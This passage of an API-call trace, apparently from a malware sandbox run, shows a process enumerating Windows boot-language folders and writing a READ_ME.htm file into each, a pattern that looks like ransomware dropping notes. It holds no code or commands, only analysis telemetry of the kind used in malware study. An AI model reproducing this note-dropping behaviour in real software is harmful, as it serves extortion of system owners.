CreateFileW (lpFileName="C:\\Boot\\ru-RU\\READ_ME.htm" (normalized: "c:\\boot\\ru-ru\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.766] SetErrorMode (uMode=0x0) returned 0x1 [0130.767] GetFileType (hFile=0x1bc) returned 0x1 [0130.768] WriteFile (in: hFile=0x1bc, lpBuffer=0x28c2a70*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28c2a70*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.770] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0130.771] SetErrorMode (uMode=0x1) returned 0x0 [0130.771] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*" (normalized: "c:\\boot\\sv-se\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.771] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.771] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.772] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.772] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.772] SetErrorMode (uMode=0x0) returned 0x1 [0130.772] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0130.772] SetErrorMode (uMode=0x1) returned 0x0 [0130.772] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*" (normalized: "c:\\boot\\sv-se\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.773] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.773] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.773] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.773] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.773] SetErrorMode (uMode=0x0) returned 0x1 [0130.774] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.774] SetErrorMode (uMode=0x1) returned 0x0 [0130.774] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\READ_ME.htm" (normalized: "c:\\boot\\sv-se\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.774] SetErrorMode (uMode=0x0) returned 0x1 [0130.775] GetFileType (hFile=0x1bc) returned 0x1 [0130.775] WriteFile (in: hFile=0x1bc, lpBuffer=0x28c8890*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28c8890*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.777] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0130.777] SetErrorMode (uMode=0x1) returned 0x0 [0130.777] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*" (normalized: "c:\\boot\\tr-tr\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.779] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.779] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.779] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.779] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.779] SetErrorMode (uMode=0x0) returned 0x1 [0130.779] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0130.779] SetErrorMode (uMode=0x1) returned 0x0 [0130.780] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*" (normalized: "c:\\boot\\tr-tr\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.780] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.780] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.780] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.780] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.781] SetErrorMode (uMode=0x0) returned 0x1 [0130.781] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.781] SetErrorMode (uMode=0x1) returned 0x0 [0130.781] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\READ_ME.htm" (normalized: "c:\\boot\\tr-tr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.782] SetErrorMode (uMode=0x0) returned 0x1 [0130.782] GetFileType (hFile=0x1bc) returned 0x1 [0130.783] WriteFile (in: hFile=0x1bc, lpBuffer=0x28ce6b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28ce6b0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.784] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0130.784] SetErrorMode (uMode=0x1) returned 0x0 [0130.784] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*" (normalized: "c:\\boot\\zh-cn\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.785] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.785] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.785] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.785] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.786] SetErrorMode (uMode=0x0) returned 0x1 [0130.786] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0130.786] SetErrorMode (uMode=0x1) returned 0x0 [0130.786] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*" (normalized: "c:\\boot\\zh-cn\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.787] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.787] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.787] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.787] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.787] SetErrorMode (uMode=0x0) returned 0x1 [0130.787] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.788] SetErrorMode (uMode=0x1) returned 0x0 [0130.789] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\READ_ME.htm" (normalized: "c:\\boot\\zh-cn\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.789] SetErrorMode (uMode=0x0) returned 0x1 [0130.789] GetFileType (hFile=0x1bc) returned 0x1 [0130.790] WriteFile (in: hFile=0x1bc, lpBuffer=0x28d44d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28d44d0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.791] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0130.792] SetErrorMode (uMode=0x1) returned 0x0 [0130.792] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*" (normalized: "c:\\boot\\zh-hk\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.793] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.793] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.793] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.794] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.794] SetErrorMode (uMode=0x0) returned 0x1 [0130.794] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0130.794] SetErrorMode (uMode=0x1) returned 0x0 [0130.795] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*" (normalized: "c:\\boot\\zh-hk\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.795] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.795] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.795] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.795] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.796] SetErrorMode (uMode=0x0) returned 0x1 [0130.796] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.796] SetErrorMode (uMode=0x1) returned 0x0 [0130.796] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\READ_ME.htm" (normalized: "c:\\boot\\zh-hk\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.797] SetErrorMode (uMode=0x0) returned 0x1 [0130.797] GetFileType (hFile=0x1bc) returned 0x1 [0130.798] WriteFile (in: hFile=0x1bc, lpBuffer=0x28da2f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28da2f0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.800] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0130.800] SetErrorMode (uMode=0x1) returned 0x0 [0130.800] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*" (normalized: 